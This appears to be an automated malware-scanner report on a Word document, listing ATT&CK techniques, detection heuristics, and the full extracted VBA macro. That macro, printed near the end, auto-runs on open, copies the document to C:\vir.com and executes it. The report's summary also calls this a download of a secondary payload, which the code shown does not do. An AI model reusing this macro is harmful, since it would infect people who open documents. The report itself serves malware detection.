MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains a VBA macro within the Document_Open subroutine. This macro is designed to copy the current document to 'C:\vir.com' and then execute it using the Shell() function. This indicates an attempt to download and run a secondary payload, likely malicious, upon opening the document.
Heuristics 5
-
ClamAV: Doc.Trojan.Quiet-10 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Quiet-10
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 495 bytes |
SHA-256: ff0716270dec93d564443aadc7afb5658000f2ec0d08af4b659c28e2dc683eed |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Declare Sub CopyFileA Lib "kernel32" (ByVal src As String, ByVal dst As String, ByVal mode As Long) Sub Document_Open() On Error Resume Next CopyFileA ActiveDocument.Name, "C:\vir.com", 0 ChDir "C:\" Shell "C:\vir.com", 4 End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.